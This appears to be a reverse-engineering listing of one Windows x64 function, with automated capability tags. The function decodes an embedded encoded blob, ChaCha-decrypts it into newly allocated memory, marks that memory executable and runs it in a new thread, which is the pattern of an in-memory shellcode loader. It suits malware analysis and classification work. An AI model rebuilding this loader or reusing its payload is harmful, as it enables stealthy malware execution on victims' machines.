Function at 0x140002cd0
Capabilities:
Encode data using xor
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
push r15
xor eax, eax
mov ecx, 0xc
xor r11d, r11d
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
xor ebx, ebx
sub rsp, 0x158
lea rdi, [rsp + 0xe0]
mov dword [rsp + 0xb4], r11d
rep stosd dword [rdi], eax
mov rdi, qword [str.bzqxgMhEJIHf3cYseHJnnw2ifJpsWj_N6hcE8gcSQNwqPfAuRXfo6jxeEtsuYZUzSskyGCBkdBH1yY1ciRrJXW5aTkJgXMEmXSBfcYWRSwVaxXVGckQJNyPeIYpVJQi_kitNp0M04U3HIpQmPv0AMDCA6vMJB6FBhEIZ_nPuBV5uqN6eX_4_jt9RfxGNpbbUdbeUEbawwOADOQz2YoxRnG9tbzeueK65KUanO8vHFwPLFpiOGtlMjSqI3pDn5pP2rIdXyIVY6w3t7bKRlzaoFpNdIVJWSnVNb6bsX60gqelVz7C4TBV0nBEUtAl_dEegkLwR5mLQ9bRLMSwo8ReZbiXFN21llPliXnHlmFvStUFBNrbsmyZgqhjGBfIiYxri51mwAZxTFlrfhuGjvwe80HZRoXPiqXethJhDa4cvR2YzrUP_mBhIX9DI5NVsgAEm_vY2DTV35wVixBjIc10BbymmY1pyMaJuNDCY7Sfs8n8V2xiVUMmwkL6Hm9ljTo8TpQf45CkrYZdugJ09EY4hJ626ymtUevgzWUZsPCEfVBp76Uo5HKKSGdtg6_T6s41ZN5OmEOJRaqYYCbHScnq3fVNnqZjxj3q3wK7b5AKV8vz_ad4_tdd71XEyEyhZ4J9ZulXn5ia2kks98Kfy4OIpsx4McTL3neP8kJ5lFdVL7HsGHratObKhqhoGfYw39VFKILtIfCxjs0U186Uvd0w8KmhHskmnGAr_qam6DexzZJVGBdMuK79ODe8ix2a6m9THSI1KLgC_Xh4SrSulITZowVODqGHXNqxAQv0hRsaYMIJB4XEqJRZ5dpP9nuHlaF3fSwhPISasdfKfyV6nsK8Sf2StULT48QetSN91uudgJ6rpXVgeleKOm5wSAikNuvzM1mRdNO9j923jfCg1IdEQjYFIA4PIxjQD88mvCFtDTlKeNsa]
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rbx
mov rcx, rdi
call sub.msvcrt.dll_strlen
movsxd rcx, eax
mov rsi, rax
call sub.msvcrt.dll_malloc
mov r8d, esi
mov rdx, rdi
xor esi, esi
mov rcx, rax
mov rbx, rax
call fcn.140002a90
mov qword [rsp + 0xc8], rsi
cdqe
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, [rsp + 0xb8]
mov edx, 0x1fffff
lea r9, [rsp + 0xd0]
cdqe
lea r8, [rsp + 0xe0]
mov qword [rsp + 0xd0], rax
call fcn.1400015f0
mov dword [rsp + 0x28], 4
mov rcx, qword [rsp + 0xb8]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0xc8]
lea r9, [rsp + 0xc0]
call fcn.140001530
mov rax, qword [rsp + 0xc0]
mov rcx, rax
mov qword [rsp + 0x68], rax
call sub.msvcrt.dll_malloc
cmp dword [rsp + 0x68], 0
mov qword [rsp + 0x90], rax
je 0x1400031e4
mov eax, dword [rsp + 0x68]
xor r10d, r10d
mov dword [rsp + 0x98], 1
mov qword [rsp + 0xa0], r10
mov r9, qword [rsp + 0x90]
mov dword [rsp + 0x74], eax
lea rax, [rsp + 0x110]
mov qword [rsp + 0x88], rax
cmp dword [rsp + 0x74], 0x3f
ja 0x140002e46
xor eax, eax
mov dl, byte [rbx + rax]
mov rsi, qword [rsp + 0x88]
inc rax
mov byte [rax + rsi - 1], dl
mov esi, dword [rsp + 0x74]
cmp eax, esi
jb 0x140002e19
mov qword [rsp + 0xa0], r9
mov r9, qword [rsp + 0x88]
mov rbx, r9
mov dword [rsp + 0xac], 0xa
mov edx, dword [rsp + 0x98]
mov r12d, 0x3bea19c6
mov r10d, 0x6b206574
mov dword [rsp + 0x80], 0xc0ff5fa4
mov edi, 0xe9a9b95d
mov r14d, 0xd68b6eab
mov r15d, 0x30d90fa1
mov r11d, 0x79622d32
mov ecx, 0x37b70d29
mov esi, 0x3320646e
mov dword [rsp + 0x78], 0x883a4c6a
mov dword [rsp + 0x7c], 0x2efb83eb
mov ebp, 0x27afafac
mov r8d, 0xdfa5ede4
mov r13d, 0x61707865
mov dword [rsp + 0x84], 0xf19a1209
add r13d, r8d
mov eax, dword [rsp + 0x84]
add esi, ecx
add r11d, r15d
xor edx, r13d
rol edx, 0x10
xor eax, esi
add ebp, edx
rol eax, 0x10
add edi, eax
xor r8d, ebp
rol r8d, 0xc
xor ecx, edi
add r13d, r8d
rol ecx, 0xc
add esi, ecx
xor edx, r13d
rol edx, 8
xor eax, esi
add ebp, edx
rol eax, 8
mov dword [rsp + 0x84], eax
xor r8d, ebp
add eax, edi
mov edi, dword [rsp + 0x78]
rol r8d, 7
xor ecx, eax
mov dword [rsp + 0xa8], eax
mov eax, r14d
mov dword [rsp + 0x9c], r8d
xor eax, r11d
mov r8d, dword [rsp + 0x7c]
rol ecx, 7
rol eax, 0x10
add r8d, eax
xor r15d, r8d
rol r15d, 0xc
add r11d, r15d
xor eax, r11d
rol eax, 8
add r10d, r12d
add r13d, ecx
add r8d, eax
xor edi, r10d
mov r14d, eax
mov eax, dword [rsp + 0x80]
rol edi, 0x10
xor r15d, r8d
add eax, edi
rol r15d, 7
xor r12d, eax
add esi, r15d
rol r12d, 0xc
xor edx, esi
add r10d, r12d
rol edx, 0x10
xor edi, r10d
rol edi, 8
add eax, edi
xor edi, r13d
rol edi, 0x10
xor r12d, eax
add eax, edx
add r8d, edi
rol r12d, 7
xor ecx, r8d
rol ecx, 0xc
add r13d, ecx
xor edi, r13d
rol edi, 8
mov dword [rsp + 0x78], edi
add edi, r8d
mov r8d, dword [rsp + 0x9c]
xor ecx, edi
mov dword [rsp + 0x7c], edi
mov edi, dword [rsp + 0x9c]
rol ecx, 7
xor r15d, eax
add r11d, r12d
rol r15d, 0xc
add r10d, edi
mov edi, dword [rsp + 0xa8]
add esi, r15d
xor r14d, r10d
xor edx, esi
rol r14d, 0x10
rol edx, 8
add edi, r14d
add eax, edx
xor r8d, edi
xor r15d, eax
mov dword [rsp + 0x80], eax
rol r8d, 0xc
mov eax, dword [rsp + 0x84]
add r10d, r8d
rol r15d, 7
xor eax, r11d
xor r14d, r10d
rol eax, 0x10
rol r14d, 8
add ebp, eax
add edi, r14d
xor r12d, ebp
xor r8d, edi
rol r12d, 0xc
rol r8d, 7
add r11d, r12d
xor eax, r11d
rol eax, 8
add ebp, eax
mov dword [rsp + 0x84], eax
xor r12d, ebp
rol r12d, 7
dec dword [rsp + 0xac]
jne 0x140002ebc
add r13d, 0x61707865
mov eax, dword [rsp + 0x98]
sub r14d, 0x29749155
inc dword [rsp + 0x98]
mov dword [rsp + 0x9c], r13d
mov r13d, dword [rsp + 0x7c]
add esi, 0x3320646e
add r11d, 0x79622d32
add edx, eax
xor esi, dword [rbx + 4]
xor r11d, dword [rbx + 8]
add r10d, 0x6b206574
add r13d, 0x2efb83eb
xor r10d, dword [rbx + 0xc]
mov eax, dword [rsp + 0x84]
sub r8d, 0x205a121c
mov dword [rsp + 0x7c], r13d
xor edx, dword [rbx + 0x30]
add ecx, 0x37b70d29
add r15d, 0x30d90fa1
mov r13d, dword [rsp + 0x80]
mov dword [rsp + 0x80], r14d
sub eax, 0xe65edf7
add r12d, 0x3bea19c6
mov r14d, dword [rsp + 0x78]
xor eax, dword [rbx + 0x34]
add ebp, 0x27afafac
sub edi, 0x165646a3
xor r8d, dword [rbx + 0x10]
xor ecx, dword [rbx + 0x14]
sub r13d, 0x3f00a05c
sub r14d, 0x77c5b396
xor r15d, dword [rbx + 0x18]
xor r12d, dword [rbx + 0x1c]
xor ebp, dword [rbx + 0x20]
xor edi, dword [rbx + 0x24]
mov dword [rsp + 0x78], r14d
mov r14d, dword [rsp + 0x7c]
xor r13d, dword [rbx + 0x2c]
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x80]
xor eax, dword [rbx + 0x38]
mov dword [rsp + 0x80], eax
mov eax, dword [rsp + 0x78]
xor eax, dword [rbx + 0x3c]
xor r14d, dword [rbx + 0x28]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x9c]
xor eax, dword [rbx]
cmp dword [rsp + 0x74], 0x40
mov dword [r9 + 4], esi
mov dword [r9], eax
mov eax, dword [rsp + 0x7c]
mov dword [r9 + 8], r11d
mov dword [r9 + 0x34], eax
mov eax, dword [rsp + 0x80]
mov dword [r9 + 0xc], r10d
mov dword [r9 + 0x38], eax
mov eax, dword [rsp + 0x78]
mov dword [r9 + 0x10], r8d
mov dword [r9 + 0x14], ecx
mov dword [r9 + 0x18], r15d
mov dword [r9 + 0x1c], r12d
mov dword [r9 + 0x20], ebp
mov dword [r9 + 0x24], edi
mov dword [r9 + 0x28], r14d
mov dword [r9 + 0x2c], r13d
mov dword [r9 + 0x30], edx
mov dword [r9 + 0x3c], eax
ja 0x1400031d2
mov eax, dword [rsp + 0x68]
mov ebx, dword [rsp + 0x68]
dec eax
shr eax, 6
imul eax, eax, 0xffffffc0
add eax, ebx
cmp eax, 0x40
je 0x1400031e4
xor edx, edx
mov cl, byte [r9 + rdx]
mov rbx, qword [rsp + 0xa0]
mov byte [rbx + rdx], cl
inc rdx
cmp edx, eax
jb 0x1400031ba
jmp 0x1400031e4
sub dword [rsp + 0x74], 0x40
add r9, 0x40
add rbx, 0x40
jmp 0x140002e10
xor r9d, r9d
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0xc8]
mov ebx, 0xa
mov qword [rsp + 0x20], r9
mov rcx, qword [rsp + 0xb8]
mov r9, qword [rsp + 0x68]
call fcn.14000164c
lea rax, [rsp + 0xb4]
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9d, 0x10
lea r8, [rsp + 0xc0]
call fcn.140001630
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x7d0
call rsi
dec ebx
jne 0x14000324a
xor eax, eax
xor edx, edx
xor r8d, r8d
mov r9, qword [rsp + 0xb8]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0xc8]
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x28], rax
lea rax, [0x140002cc0]
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x30], r8d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call fcn.1400015b0
mov rcx, qword [rsp + 0x110]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x110]
call fcn.140001570
mov rcx, qword [rsp + 0xb8]
call fcn.140001570
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret